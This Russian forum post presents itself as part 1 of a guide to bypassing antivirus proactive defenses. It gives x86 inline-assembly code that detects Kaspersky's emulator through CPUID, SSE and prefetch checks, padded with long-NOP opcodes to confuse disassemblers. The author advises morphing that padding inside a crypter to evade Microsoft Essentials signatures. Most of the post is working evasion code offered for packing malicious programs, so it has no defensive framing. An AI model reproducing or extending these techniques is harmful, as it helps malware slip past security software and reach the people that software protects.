Здесь пойдет речь об обходе каспера. Кому надо редактируйте, имхо это набросок, но рабочий, я не силен в писанине статей, люблю, жесткий кодес, и всё. И так приступим к проактиву каспера....
Вот так определяем его песочницу, ака типа эмулятор
Сначала смотрим CPUID поддержку - в дальнейшем надо будет.
Угу -есть... Юзаем Интеловские заморочки.... Проверяем поддержку SSE...Код (Text):
int isCPUIDsupported (void) { // returns 1 if CPUID instruction supported on this processor, zero otherwise // This isn't necessary on 64 bit processors because all 64 bit Intel processors support CPUID __asm { push ecx ; save ecx pushfd ; push original EFLAGS pop eax ; get original EFLAGS mov ecx, eax ; save original EFLAGS xor eax, 200000h ; flip bit 21 in EFLAGS push eax ; save new EFLAGS value on stack popfd ; replace current EFLAGS value pushfd ; get new EFLAGS pop eax ; store new EFLAGS in EAX xor eax, ecx ; Bit 21 of flags at 200000h will be 1 if CPUID exists shr eax, 21 ; Shift bit 21 bit 0 and return it push ecx popfd ; restore bit 21 in EFLAGS first pop ecx ; restore ecx } }
Здесь используется Long NOP, который почему то IDA как бы не дизассемблилось (есть еще инварианты, см выше про диван)))Код (Text):
__asm { _emit 0x0F _emit 0x1F _emit 0x00 _emit 0x0F _emit 0x1F _emit 0x00 mov eax, 0x1 _emit 0x0F _emit 0x1F _emit 0x00 cpuid _emit 0x0F _emit 0x1F _emit 0x00 test edx, 1<<25 _emit 0x0F _emit 0x1F _emit 0x00 jnz _SSE _emit 0x0F _emit 0x1F _emit 0x00 int 3 //Вот блин, эмуль, надо бы TF было взвести предварительно ;) _emit 0x0F _emit 0x1F _emit 0x00 _SSE: _emit 0x0F _emit 0x1F _emit 0x00 _emit 0x0F _emit 0x1F _emit 0x00 _emit 0x0F _emit 0x1F _emit 0x00 _emit 0x0F _emit 0x1F _emit 0x00 }
0x0F
0x1F
0x00
Это брат обычного 0x90 NOP, коих модификаций штук 5 -6 в манах Intel.
соответственно данный машинный код можно в крипте расширять/морфить и тд + определение SSE, есть/нет убивает Каспера на прочь. Чем длиннее цепь - тем больше результат. Читайте маны на диване
Ну и до кучи смотрим префетч (кодес взят у Inde) (компиль поругает, но простит) Зато MS Essenciale будет пищать по сигнатурам, по этому берем теже long NOP и морфим их потом перед исполнением (см. часть 2)
(с) sysenter 2013Код (Text):
__asm { PREFETCHNTA QWORD PTR DS:[EAX] push eax push ss xor eax,eax _emit 0x0F _emit 0x1F _emit 0x00 test eax,eax _emit 0x0F _emit 0x1F _emit 0x00 pop ss _emit 0x0F _emit 0x1F _emit 0x00 jz _LabelOk _emit 0x0F _emit 0x1F _emit 0x00 mov eax,[pPEB] mov eax,pPEB.ProcessHeaps[eax] mov eax,dword ptr [eax] _L: add eax,0x1000 mov ecx,dword ptr [eax - 4] xor cl,ch cmp cl,0x10 jne _L _LabelOk: pop eax }
Моему Брату посвящается)
Для тех кто на диване и лень читать Intel маны (обход проактивок. часть 1)
Дата публикации 19 фев 2018
| Редактировалось 1 апр 2020